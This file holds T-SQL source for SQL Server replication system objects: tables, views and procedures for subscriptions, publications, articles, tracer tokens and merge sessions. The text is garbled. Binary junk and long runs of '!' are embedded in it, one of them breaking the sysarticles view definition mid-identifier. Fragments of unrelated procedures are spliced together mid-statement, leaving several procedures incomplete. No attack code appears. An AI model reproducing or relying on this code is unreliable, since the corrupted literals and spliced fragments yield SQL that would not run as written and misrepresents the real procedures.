        /****************************************************************************/    

        create table IHconstrainttypes
        (
            type NVARCHAR(255) NOT NULL 
            -- ,CONSTRAINT pk_IHcontrainttypes PRIMARY KEY (type)
        )

        insert into IHconstrainttypes (type) values ('PRIMARYKEY')
        
        exec dbo.sp_MS_marksystemobject 'IHconstrainttypes'
    END



    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublisherconstraints' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublisherconstraints', 0,1)
        /****************************************************************************/    

        create table IHpublisherconstraints
        (
             publisherconstraint_id int             IDENTITY NOT NULL
            ,table_id       int             NOT NULL -- denormalized
            ,publisher_id   smallint        NOT NULL -- denormalized
            ,name           sysname         NOT NULL
            ,type           NVARCHAR(255)   NOT NULL 
            -- ,CONSTRAINT pk_IHpublisherconstraints PRIMARY KEY (publisherconstraint_id)
            -- ,CONSTRAINT uk_IHpublisherconstriaints_name UNIQUE (name, table_id)
            -- ,CONSTRAINT fk_IHpublisherconstraints_constraint FOREIGN KEY (type) REFERENCES IHconstrainttypes (type)
            -- ,CONSTRAINT fk_IHpublisherconstraints_tableid FOREIGN KEY (table_id, publisher_id) REFERENCES IHpublishertables (table_id, publisher_id)
        )
        create unique clustered index idx_IHpublisherconstraints_pubconstraintid ON IHpublisherconstraints (publisherconstraint_id)
        create index idx_IHpublisherconstraints_tableid ON IHpublisherconstraints (table_id)
        create index idx_IHpublisherconstraints_name ON IHpublisherconstraints (name)
        
        exec dbo.sp_MS_marksystemobject 'IHpublisherconstraints'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHpublishercolumnconstraints' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHpublishercolumnconstraints', 0,1)
        /****************************************************************************/    

        create table IHpublishercolumnconstraints
        (
			publishercolumn_id		int NOT NULL,
			publisherconstraint_id	int NOT NULL,
			indid					int NOT NULL
        )

        create clustered index idx_IHpublishercolumnconstraints_pubcolumnid ON IHpublishercolumnconstraints (publishercolumn_id)
        create index idx_IHpublishercolumnconstraints_pubconstraintid ON IHpublishercolumnconstraints (publisherconstraint_id)
        
        exec dbo.sp_MS_marksystemobject 'IHpublishercolumnconstraints'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHsubscriptions' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table IHsubscriptions', 0,1)
        /****************************************************************************/    

        create table IHsubscriptions
        (
            article_id			int         NOT NULL,
            srvid				smallint    NOT NULL,
            dest_db				sysname     NOT NULL,
            login_name			sysname     NOT NULL,
            distribution_jobid	binary(16)	NOT NULL,
            timestamp			timestamp	NULL,
            queued_reinit		bit			NOT NULL DEFAULT 0,
            status				tinyint		NOT NULL DEFAULT 0,
            sync_type			tinyint		NOT NULL DEFAULT 0,
            subscription_type	int			NOT NULL DEFAULT 0,
            update_mode			tinyint		NOT NULL DEFAULT 0, -- 0 (read only),
            loopback_detection	bit			NOT NULL DEFAULT 0,
            nosync_type			tinyint		NOT NULL DEFAULT 0
            ,srvname	sysname NOT NULL DEFAULT ''
        )
        create unique clustered index [idx_IHsubscriptions_article_id] ON [dbo].[IHsubscriptions] 
        (
	        [article_id] ASC,
	        [srvid] ASC,
	        [dest_db] ASC
        )WITH (SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF ) ON [PRIMARY]
        
        exec dbo.sp_MS_marksystemobject 'IHsubscriptions'
    END
	ELSE
	BEGIN
		IF NOT EXISTS (select * from sys.columns
			where name = 'srvname'
			and object_id=object_id('IHsubscriptions'))
		BEGIN
			ALTER TABLE IHsubscriptions ADD srvname sysname NOT NULL DEFAULT N'' with values
			   exec('update dbo.IHsubscriptions
			         set srvname = upper(ss.srvname collate database_default)
			         from dbo.IHsubscriptions sub 
	            	         join master.dbo.sysservers ss on ss.srvid = sub.srvid')
		END
		ELSE
		BEGIN
			exec ('update dbo.IHsubscriptions
			set srvname = upper(ss.srvname collate database_default)
			from dbo.IHsubscriptions sub 
			join master.dbo.sysservers ss on ss.srvid = sub.srvid
			where sub.srvname = N'''' ')
		END
 	END

    IF not exists (select * from sys.objects where name = 'sysschemaarticles' and type = 'U')
        BEGIN
        /****************************************************************************/
        raiserror('Creating table sysschemaarticles', 0,1)
        /****************************************************************************/ 
     
            create table sysschemaarticles
            (
                artid               int                 NOT NULL,
                creation_script     nvarchar(255)       NULL,
                description         nvarchar(255)       NULL,
                dest_object         sysname             NOT NULL,
                name                sysname             NOT NULL,
                objid               int                 NOT NULL,
                pubid               int                 NOT NULL,
                pre_creation_cmd    tinyint             NOT NULL,
                status              int                 NOT NULL,
                type                tinyint             NOT NULL,
                schema_option       binary(8)           NULL,
                dest_owner          sysname             NULL
            )

            CREATE UNIQUE CLUSTERED INDEX [c1sysschemaarticles] ON [dbo].[sysschemaarticles] 
            (
                [artid] ASC,
                [pubid] ASC
            )WITH (SORT_IN_TEMPDB = OFF, DROP_EXISTING = OFF, ONLINE = OFF) ON [PRIMARY]
            
            exec dbo.sp_MS_marksystemobject 'sysschemaarticles'
        END

	---------------------------------!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(++ֆ̑vT---------------------------------------------
	-- Create the cache table for PeerToPeer replication
	------------------------------------------------------------------------------
	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MScached_peer_lsns' and type = 'U')
	BEGIN
		/****************************************************************************/
		raiserror('Creating table MScached_peer_lsns', 0,1)
		/****************************************************************************/
		CREATE TABLE dbo.MScached_peer_lsns 
		(
			agent_id					int null,
			originator					sysname,			
			originator_db				sysname,
			originator_publication_id	int null,
			originator_db_version		int null,
			originator_lsn				varbinary(16) null
		)

	    CREATE UNIQUE CLUSTERED INDEX ucMScached_peer_lsns
	    	ON dbo.MScached_peer_lsns (agent_id, originator_db_version, originator_lsn, originator_db, originator, originator_publication_id)
	    	
	    exec dbo.sp_MS_marksystemobject 'dbo.MScached_peer_lsns'
	END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHextendedSubscriptionView' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating view IHextendedSubscriptionView', 0,1)
        /****************************************************************************/    

        SELECT @Cmd =
          ' create view IHextendedSubscriptionView as '
        + ' SELECT '
        + ' ihs.article_id, '
        + ' ihs.dest_db, '
        + ' ihs.srvid, '
        + ' ihs.login_name, '
        + ' ihs.distribution_jobid, '
        + ' mss.publisher_database_id, '
        + ' mss.subscription_type, '
        + ' mss.sync_type, '
        + ' mss.status, '
        + ' mss.snapshot_seqno_flag, '
        + ' mss.independent_agent, '
        + ' mss.subscription_time, '
        + ' mss.loopback_detection, '
        + ' mss.agent_id, '
        + ' mss.update_mode, '
        + ' mss.publisher_seqno, '
        + ' mss.ss_cplt_seqno  '    
        + ' FROM IHsubscriptions ihs '
        + ' JOIN MSsubscriptions mss ON ihs.article_id = mss.article_id '
        + '                         and ihs.srvid = mss.subscriber_id '
        + '                         and ihs.dest_db = mss.subscriber_db '

        EXEC (@Cmd)
        
        exec dbo.sp_MS_marksystemobject 'IHextendedSubscriptionView'
    END

    DECLARE @Cmd1 varchar(2000)
    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'syssubscriptions' and type = 'V')
    	or 
    	(EXISTS (SELECT * from sys.objects WHERE name = 'syssubscriptions' and type = 'V')
    	and NOT EXISTS (select * from sys.columns where name = 'srvname' and object_id=object_id('syssubscriptions')))
    BEGIN
    	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'syssubscriptions' and type = 'V')
    	begin 
	        /****************************************************************************/
	        raiserror('Creating view syssubscriptions', 0,1)
	        /****************************************************************************/    

	        SELECT @Cmd1 = ' create '
        end 
        else if NOT EXISTS (select * from sys.columns where name = 'srvname' and object_id=object_id('syssubscriptions'))
        begin 
	        /****************************************************************************/
	        raiserror('Altering view syssubscriptions to include srvname column', 0,1)
	        /****************************************************************************/    

	        SELECT @Cmd1 = ' alter '
        end
        select @Cmd1 =  @Cmd1 + 'view dbo.syssubscriptions (artid, srvid, dest_db, status, sync_type, login_name, subscription_type, '
        + ' distribution_jobid, timestamp, update_mode, loopback_detection, queued_reinit, nosync_type, srvname) AS '
        + ' SELECT ihsub.article_id, '
        + '     ihsub.srvid, '
        + '     ihsub.dest_db, '
        + '     ihsub.status, '
        + '     ihsub.sync_type, '
        + '     ihsub.login_name, '
        + '     ihsub.subscription_type, '
        + '     ihsub.distribution_jobid, '
        + '     ihsub.timestamp, '
        + '     ihsub.update_mode, '
        + '     ihsub.loopback_detection, '
        + '     ihsub.queued_reinit, '
        + '     ihsub.nosync_type '
        + '     ,ihsub.srvname '
        + ' FROM   dbo.IHsubscriptions ihsub '

        EXEC (@Cmd1)
        
        exec dbo.sp_MS_marksystemobject 'syssubscriptions'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'syspublications' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating view syspublications', 0,1)
        /****************************************************************************/    

        SELECT @Cmd1 =
        ' create view syspublications (description, name, pubid, repl_freq, status, sync_method, snapshot_jobid, '
        + ' independent_agent, immediate_sync, enabled_for_internet, allow_push, allow_pull, allow_anonymous, immediate_sync_ready, '
        + ' allow_sync_tran, autogen_sync_procs, retention, allow_queued_tran, snapshot_in_defaultfolder, alt_snapshot_folder, '
        + ' pre_snapshot_script, post_snapshot_script, compress_snapshot, ftp_address, ftp_port, ftp_subdirectory, ftp_login, '
        + ' ftp_password, allow_dts, allow_subscription_copy, centralized_conflicts, conflict_retention, conflict_policy, queue_type, '
        + ' ad_guidname, backward_comp_level, allow_initialize_from_backup, min_autonosync_lsn, replicate_ddl, options, originator_id) AS '
        + ' SELECT ihpub.description, '
        + '     ihpub.name, '
        + '     ihpub.pubid, '
        + '     ihpub.repl_freq, '
        + '     ihpub.status, '
        + '     ihpub.sync_method, '
        + '     ihpub.snapshot_jobid, '
        + '     ihpub.independent_agent, '
        + '     ihpub.immediate_sync, '
        + '     ihpub.enabled_for_internet, '
        + '     ihpub.allow_push, '
        + '     ihpub.allow_pull, '
        + '     ihpub.allow_anonymous, '
        + '     ihpub.immediate_sync_ready, '
        + '     ihpub.allow_sync_tran, '
        + '     ihpub.autogen_sync_procs, '
        + '     ihpub.retention, '
        + '     ihpub.allow_queued_tran, '
        + '     ihpub.snapshot_in_defaultfolder, '
        + '     ihpub.alt_snapshot_folder, '
        + '     ihpub.pre_snapshot_script, '
        + '     ihpub.post_snapshot_script, '
        + '     ihpub.compress_snapshot, '
        + '     ihpub.ftp_address, '
        + '     ihpub.ftp_port, '
        + '     ihpub.ftp_subdirectory, '
        + '     ihpub.ftp_login, '
        + '     ihpub.ftp_password, '
        + '     ihpub.allow_dts, '
        + '     ihpub.allow_subscription_copy, '
        + '     ihpub.centralized_conflicts, '
        + '     ihpub.conflict_retention, '
        + '     ihpub.conflict_policy, '
        + '     ihpub.queue_type,'
        + '     ihpub.ad_guidname, '
        + '     ihpub.backward_comp_level, '
        + '     ihpub.allow_initialize_from_backup, '
        + '     ihpub.min_autonosync_lsn, '
		+ '     ihpub.replicate_ddl,'
		+ '     ihpub.options,'
	 + '     ihpub.originator_id'
        + ' FROM   IHpublications ihpub '
        
        EXEC (@Cmd1)
        
        exec dbo.sp_MS_marksystemobject 'syspublications'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'sysarticles' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating view sysarticles', 0,1)
        /****************************************************************************/    

        SELECT @Cmd1 =
        ' create view sysarticles (artid, creation_script, del_cmd, description, dest_ta!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(++!
_vTble, filter, '
        + 'filter_clause, ins_cmd, name, objid, pubid, pre_creation_cmd, status, sync_objid, type, upd_cmd, schema_option, dest_owner, '
        + 'ins_scripting_proc, del_scripting_proc, upd_scripting_proc, custom_script, fire_triggers_on_snapshot) AS '
        + ' SELECT ihart.article_id, ihart.creation_script, ihart.del_cmd, ihart.description, '
        + 'ihart.dest_table, ihart.filter, ihart.filter_clause, ihart.ins_cmd, '
        + 'ihart.name, ihart.objid, ihart.publication_id, ihart.pre_creation_cmd, '
        + 'ihart.status, ihart.sync_objid, ihart.type, ihart.upd_cmd, ihart.schema_option, '
        + 'ihart.dest_owner, ihart.ins_scripting_proc, ihart.del_scripting_proc, ihart.upd_scripting_proc, ihart.custom_script, ihart.fire_triggers_on_snapshot '
        + 'FROM IHarticles ihart '
        
        EXEC (@Cmd1)
        
        exec dbo.sp_MS_marksystemobject 'sysarticles'
    END

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'sysarticlecolumns' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating view sysarticlecolumns', 0,1)
        /****************************************************************************/    

        SELECT @Cmd1 = 'create view sysarticlecolumns (artid, colid, is_udt, is_xml, is_max ) AS SELECT article_id, publishercolumn_id, 0, 0, 0 FROM IHcolumns'
        EXEC (@Cmd1)
        
        exec dbo.sp_MS_marksystemobject 'sysarticlecolumns'
    END

	-- NOTE:
	-- IHsyscolumns is a view of PUBLISHED columns in dbo.syscolumns format.  It is NOT the
	-- full list of base columns like it is in normal SQL Server dbo.syscolumns
	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'IHsyscolumns' and type = 'V')
    BEGIN
        /****************************************************************************/
        raiserror('Creating view IHsyscolumns', 0,1)
        /****************************************************************************/    

        SELECT @Cmd1 =
        ' create view IHsyscolumns (name, id, xtype, typestat, xusertype, length, '
        + ' xprec, xscale, colid, xoffset, bitpos, reserved, colstat, cdefault, domain, number, colorder, autoval, '
		+ ' offset, collationid, language, status, type, usertype, printfmt, prec, scale, iscomputed, isoutparam, isnullable, '
		+ ' collation, tdscollation ) AS '
        + ' SELECT ihcol.name, '
        + '     ihcol.article_id, '
        + '     ihcol.mapped_type, '
        + '     NULL, '
        + '     ihcol.mapped_type, '
        + '     ihcol.mapped_length, '
        + '     ihcol.mapped_prec, '
        + '     ihcol.mapped_scale, '
        + '     ihcol.column_id, '
        + '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     ihcol.column_ordinal, '
        + '     NULL, '
        + '     NULL, '
		+ '     NULL, '
        + '     NULL, '
        + '     NULL, '
        + '     0, '
		+ '     ihcol.mapped_type, '
        + '     NULL, '
		+ '     ihcol.mapped_prec, '
        + '     ihcol.mapped_scale, '
        + '     0, '
        + '     0, '
        + '     0, '
		+ '     NULL, '
        + '     NULL '
        + ' FROM   IHcolumns ihcol '
        
        EXEC (@Cmd1)
        
        exec dbo.sp_MS_marksystemobject 'IHsyscolumns'
    END

    IF not exists (select * from sys.objects where name = 'sysextendedarticlesview')
    BEGIN
        exec ('create view dbo.sysextendedarticlesview
               as
               select * from sysarticles
               union all
               select artid, creation_script, NULL, description,
               dest_object, NULL, NULL, NULL, name, objid, pubid, 
               pre_creation_cmd, status, NULL, type, NULL, 
               schema_option, dest_owner, NULL, NULL, NULL, NULL, 0 from sysschemaarticles
               go')

        exec dbo.sp_MS_marksystemobject 'sysextendedarticlesview'

   END

	if object_id('MStracer_tokens') is null
	begin
		create table MStracer_tokens
		(
			tracer_id			int identity(-2147483648, 1) primary key clustered,
			publication_id		int not null,
			publisher_commit	datetime not null,
			distributor_commit	datetime null
		)
		if @@error <> 0
		begin
			return 1
		end

		exec dbo.sp_MS_marksystemobject 'MStracer_tokens'
	end

	if object_id('MStracer_history') is null
	begin
		create table MStracer_history
		(
			parent_tracer_id	int not null,
			agent_id			int not NULL,
			subscriber_commit	datetime null
			
			constraint pkuc_tracer_subs primary key nonclustered
			(
				parent_tracer_id,
				agent_id
			)

			constraint fk_MStracer_tokens_parent_tracer_id foreign key 
			(
				parent_tracer_id
			) references MStracer_tokens
			(
				tracer_id
			)
		)
		if @@error <> 0
		begin
			return 1
		end
		
		exec dbo.sp_MS_marksystemobject 'MStracer_history'
	end

	   IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_articleresolver' and type = 'U')
   BEGIN
       create table dbo.MSmerge_articleresolver
       (
            article_resolver        nvarchar(255)   primary key not null ,
            resolver_clsid          nvarchar(50)    not null, 
            is_dotnet_assembly      bit null default 0, 
            dotnet_assembly_name    nvarchar(255)   null, 
            dotnet_class_name       nvarchar(255)   null
       )

       if @@error <> 0
           return 1
       exec dbo.sp_MS_marksystemobject 'MSmerge_articleresolver'

   END  

    if object_id('dbo.MSreplication_monitordata') is null
    begin
        create table dbo.MSreplication_monitordata
        (
            -- internal use
            lastrefresh datetime null
            ,computetime int null -- in seconds
            ,publication_id int null
            -- static
            ,publisher sysname
            ,publisher_srvid int null
            ,publisher_db sysname 
            ,publication sysname 
            ,publication_type int null
            ,agent_type int null
            ,agent_id int null
            ,agent_name sysname
            ,job_id uniqueidentifier null
            -- dynamic
            ,status int null
            ,isagentrunningnow bit null
            ,warning int null				-- latest session's warning
            ,last_distsync datetime	null	-- last sync time
            ,agentstoptime datetime null	-- agent stop time
            ,distdb sysname null
            ,retention int null
            ,time_stamp datetime null
            -- tran specific  
            ,worst_latency int null
            ,best_latency int null
            ,avg_latency int null
            ,cur_latency int null 			
            -- <<merge specific>>
            -- this is per subscription, depending on latest session type (fast/slow)
            -- there is a subset of all sessions for this subscription with this type
            -- get the value by session_speed/average
            -- the following 3 are statistics of the above set, unit is percentage        
            ,worst_runspeedPerf int null
            ,best_runspeedPerf int null       
            ,average_runspeedPerf int null
            -- this is mergerunspeed/average above
            ,mergePerformance int null
            -- latest session's running duration
            ,mergelatestsessionrunduration int null
            -- latest session's row/second raw number
            ,mergelatestsessionrunspeed float null
            -- lastest session's running type (LAN or DUN)
            ,mergelatestsessionconnectiontype int null
            ,retention_period_unit tinyint null
            /*
            ,worst_runduration int
            ,best_runduration int        
            ,average_runduration int
            ,cur_runduration!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<m@@
s?T int
            ,mergeexpirationthreshold int
            ,mergerundurationthreshold int
            ,mergestoppedcontinuousagentthreshold int
            ,mergerunspeedthreshold int
            ,mergerunspeed float	 
            */	 
        )
        if (@@error != 0)
            return 1
        exec dbo.sp_MS_marksystemobject 'MSreplication_monitordata'
        --
        -- build indices
        --
 
        create nonclustered index nc2MSreplication_monitordata 
            on MSreplication_monitordata(publication, publisher_db) 
        if (@@error != 0)
            return 1
            
        create nonclustered index nc6MSreplication_monitordata 
            on MSreplication_monitordata(lastrefresh) 
        if (@@error != 0)
            return 1

        --
        -- grant control access to replmonitor role for refresh computation
        --
        grant control on dbo.MSreplication_monitordata to replmonitor
    end

    IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSnosyncsubsetup' and type = 'U')
    BEGIN
        /****************************************************************************/
        raiserror('Creating table MSnosyncsubsetup', 0,1)
        /****************************************************************************/
        -- The parameterName corresponds to each parameter name
        -- of stored proc sp_MSsetupnosyncsubwithlsnatdist.
        create table dbo.MSnosyncsubsetup
        (
             publisher_database_id int,
             publication_id int,
             artid int,
             next_valid_lsn varbinary(10),
             parameterName sysname,
             parameterValue nvarchar(max),
             primary key (publisher_database_id,
                                 publication_id,
                                 artid,
                                 next_valid_lsn,
                                 parameterName)
        )
        if @@error <> 0
            return 1
        exec dbo.sp_MS_marksystemobject 'MSnosyncsubsetup'
    END

end
sword NULL, @password, 'distributor_admin'
			if @@error <> 0 or @retcode <> 0
				goto UNDO
		end

	    -- Add the login to sysadmin
        -- Refer to sp_MSpublication_access in distribution db
        if is_srvrolemember('sysadmin', @distributor_login) <> 1
        begin
		exec @retcode = sys.sp_addsrvrolemember @distributor_login, 'sysadmin'
		IF @@error <> 0 OR @retcode <> 0
			GOTO UNDO
        end

		if @from_scripting <> 1
		begin
			-- Add Replication Agent Checkup Agent
			exec @retcode = sys.sp_MScreate_replication_checkup_agent @heartbeat_interval = @heartbeat_interval
			if @@error <> 0 or @retcode <> 0
				goto UNDO
		end
        
		delete msdb..MSdistributor where property = 'heartbeat_interval'
		if @@error <> 0
			goto UNDO
		insert into msdb..MSdistributor (property, value) values ('heartbeat_interval',
				convert(nvarchar(10), @heartbeat_interval))
		if @@error <> 0 
			goto UNDO

		-- Add Replication Alerts and Response Jobs
		exec @retcode = sys.sp_MSadd_distributor_alerts_and_responses
			@from_scripting = @from_scripting
		if @@error <> 0 or @retcode <> 0
			goto UNDO
	END

	/*
	** Set the server option to indicate that there is a distributor.
	*/
	EXECUTE @retcode = sys.sp_serveroption 'repl_distributor', 'dist', true
	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		GOTO UNDO
	END

	-- Set sp_MSrepl_startup to be a startup stored procedure
	-- Note: This needs to be after the marking the distribution server
	exec @retcode = sys.sp_procoption 'sp_MSrepl_startup', 'startup', 'true' 
	if @@error <> 0 or @retcode <> 0
		goto UNDO1

	exec @retcode = sys.sp_MSrepl_startup_internal
	if @@error <> 0 or @retcode <> 0
		goto UNDO1

	EXEC @retcode = sys.sp_MSrepl_add_expired_sub_cleanup_job
	IF @@ERROR <> 0 or @retcode <> 0
	BEGIN
		GOTO UNDO1
	END
	
	RETURN (0)

UNDO1:
	exec sys.sp_serveroption 'repl_distributor', 'dist', false
	EXEC sys.sp_MSrepl_drop_expired_sub_cleanup_job

UNDO:
	IF @server_added = 1
	begin
		-- Drop the remote logins, otherwise, sp_dropserver will fail.
		EXECUTE sys.sp_dropserver 'repl_distributor', 'droplogins'
	end
    
	RETURN (1)
END
Z)Z              EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetReplNonSQLSub(Value = 0)
                    IF @@ERROR <> 0
                    BEGIN
                       RAISERROR(15052, -1, -1, @objname)
                       GOTO ERROR_ABORT_EXIT
                    END            

                    if @allow_dts = 1
                    BEGIN
                        EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetDTSReplicated(Value = 0)
                        IF @@ERROR <> 0
                        BEGIN
                           RAISERROR(15052, -1, -1, @objname)
                           GOTO ERROR_ABORT_EXIT
                        END            
                    END
                END
            END
        END
        -- fetch next column
        FETCH #hCartcol INTO @colname, @colid
    END
    CLOSE #hCartcol
    DEALLOCATE #hCartcol

    COMMIT TRANSACTION
    
    RETURN (0)

ERROR_ABORT_EXIT:
    ROLLBACK TRAN sp_MSarticlecol
    COMMIT TRAN
    RETURN (1)
end
:$:managementoption' = CONVERT(int, 0),
	            'fire_triggers_on_snapshot'     = iha.fire_triggers_on_snapshot,
	            'tablespace'					= otsi.tablespace,
	            'use_default_datatypes'			= iha.use_default_datatypes
	    FROM    IHpublications ihp INNER JOIN IHarticles iha ON ihp.pubid = iha.publication_id
	            INNER JOIN MSarticles msa ON ihp.pubid = msa.publication_id
	            LEFT OUTER JOIN #ORAtablespaceinfo otsi ON iha.article_id = otsi.article_id 
	    WHERE   iha.article_id = msa.article_id
	      AND   ihp.pubid      = @pubid
	      AND    ((@article = N'%') or (iha.name = @article))
	    ORDER BY iha.name

	    DROP TABLE #ORAtablespaceinfo
	END
	
	IF @@rowcount > 0
	BEGIN
		SELECT @found = 1
	END
    
    RETURN (0)
END
33darticle
    	@owner             = @user_name
       ,@tablename         = @table_name
       ,@publisher         = @publisher
       ,@table_id          = @table_id
       ,@OptimizeTrigger   = @OptimizeTrigger
       ,@RecreateTriggers  = @RecreateTriggers
       ,@XCALL             = @XCALL				
       ,@article_view      = @article_view
       ,@columns           = @columns
       ,@publishedcolumns  = @publishedcolumns
       ,@repl_freq         = @repl_freq
       ,@filter_clause     = @filter_clause
       ,@distributortimestamp = @distributortimestamp	
       ,@instance_id	   = @instance_id	

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
      	RAISERROR (21778, 16, -1, @article)

       	-- Set view and filter to NULL IHarticles
      	UPDATE	IHarticles 
      	SET	filter_clause = NULL,
		article_view = NULL,
		article_view_owner = NULL
      	WHERE	publication_id	= @publication_id
      	AND	article_id		= @artid
      	AND	publisher_id	= @publisher_id	
      	
		RETURN(1)
    END

    RETURN 0

UNDO:
    IF @@trancount > 0
    BEGIN
        ROLLBACK TRANSACTION articleview
        COMMIT TRAN
    END
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`<(+v&create procedure sys.sp_MScreate_common_dist_tables @subside bit as
begin
	declare @retcode int
	
	IF NOT EXISTS (SELECT * from sys.objects WHERE name = 'MSmerge_sessions' and type = 'U')
	BEGIN
		if @subside = 0
		begin
			--please keep table definition in sync between if and else clauses
			CREATE TABLE dbo.MSmerge_sessions
			(
				session_id				int identity    NOT NULL,
				agent_id				int 			not NULL, 	
				start_time				datetime		NULL,
				end_time				datetime		NULL,
				duration				int				NULL, -- in seconds
				delivery_time           int				NOT NULL default 0,
				upload_time				int				NOT NULL default 0,
				download_time           int				NOT NULL default 0,
				schema_change_time      int				NOT NULL default 0,
				prepare_snapshot_time   int				NOT NULL default 0,
				delivery_rate           decimal(12,2)	NOT NULL default 0,       
				time_remaining			int				NOT NULL default 0,
				percent_complete		decimal(5,2)	NOT NULL default 0,
				upload_inserts			int				NULL default 0,
				upload_updates			int				NULL default 0,
				upload_deletes			int				NULL default 0,
				upload_conflicts		int				NULL default 0,
				upload_rows_retried		int				NULL default 0,
				download_inserts		int				NULL default 0,
				download_updates		int				NULL default 0,
				download_deletes		int				NULL default 0,
				download_conflicts		int				NULL default 0,
				download_rows_retried	int				NULL default 0,
				schema_changes			int				NULL default 0,
				bulk_inserts			int				NULL default 0,
				metadata_rows_cleanedup	int				NULL default 0,
				runstatus               int             NOT NULL,
				estimated_upload_changes				int	NULL default 0,
				estimated_download_changes				int	NULL default 0,
				connection_type			int 			NULL default 1, -- 1 for LAN, 2 for DUN
				timestamp								not null,
				current_phase_id		int				NULL default 0, -- 1 for upload, 2 for download
				spid					smallint		NULL,
				spid_login_time			datetime		NULL
				--please keep table definition in sync between if and else clauses
			)
		end
		else
		begin
			-- forced to do two different create table statements, instead of 1 common
			-- create table followed by an alter table to add subid. the reason is that the proc that creates
			-- system tables on pub/sub runs into error from DDL trigger if an alter table is performed with
			-- ansi_padding on.
			--please keep table definition in sync between if and else clauses
			CREATE TABLE dbo.MSmerge_sessions
			(	
				subid					uniqueidentifier	NULL,
				session_id				int identity    NOT NULL,
				agent_id				int 			not NULL, 	
				start_time				datetime		NULL,
				end_time				datetime		NULL,
				duration				int				NULL, -- in seconds
				delivery_time           int				NOT NULL default 0,
				upload_time				int				NOT NULL default 0,
				download_time           int				NOT NULL default 0,
				schema_change_time      int				NOT NULL default 0,
				prepare_snapshot_time   int				NOT NULL default 0,
				delivery_rate           decimal(12,2)	NOT NULL default 0,       	
				time_remaining			int				NOT NULL default 0,
				percent_complete		decimal(5,2)	NOT NULL default 0,
				upload_inserts			int				NULL default 0,
				upload_updates			int				NULL default 0,
				upload_deletes			int				NULL default 0,
				upload_conflicts		int				NULL default 0,
				upload_rows_retried		int				NULL default 0,
				download_inserts		int				NULL default 0,
				download_updates		int				NULL default 0,
				download_deletes		int				NULL default 0,
				download_conflicts		int				NULL default 0,
				download_rows_retried	int				NULL default 0,
				schema_changes			int				NULL default 0,
				bulk_inserts			int				NULL default 0,
				metadata_rows_cleanedup	int				NULL default 0,
				runstatus               int             NOT NULL,
				estimated_upload_changes				int	NULL default 0,
				estimated_download_changes				int	NULL default 0,
				connection_type			int 			NULL default 1, -- 1 for LAN, 2 for DUN
				timestamp								not null,
				current_phase_id		int				NULL default 0, -- 1 for upload, 2 for download
				spid					smallint		NULL,
				spid_login_time			datetime		NULL
				--please keep table definition in sync between if and else clauses
			)
		end

        exec dbo.sp_MS_marksystemobject 'MSmerge_sessions'

        CREATE UNIQUE CLUSTERED INDEX ucMSmerge_sessions ON dbo.MSmerge_sessions (session_id) 
        create nonclustered index nc1MSmerge_sessions on dbo.MSmerge_sessions(agent_id)
        create nonclustered index nc2MSmerge_sessions on dbo.MSmerge_sessions(start_time)
        create nonclustered index nc3MSmerge_sessions on dbo.MSmerge_sessions(end_time)
        create nonclustered index nc4MSmerge_sessions on dbo.MSmerge_sessions(timestamp)
    END
    else
    begin
        if NOT EXISTS (select * from sys.columns where name = 'prepare_snapshot_time' and object_id=object_id('dbo.MSmerge_sessions'))
        BEGIN         
            ALTER TABLE dbo.MSmerge_sessions ADD prepare_snapshot_time int NOT NULL default 0
            if @@error<>0 goto error
        END

        IF NOT EXISTS (select * from sys.columns where name = 'spid' and object_id=object_id('MSmerge_sessions'))
        BEGIN
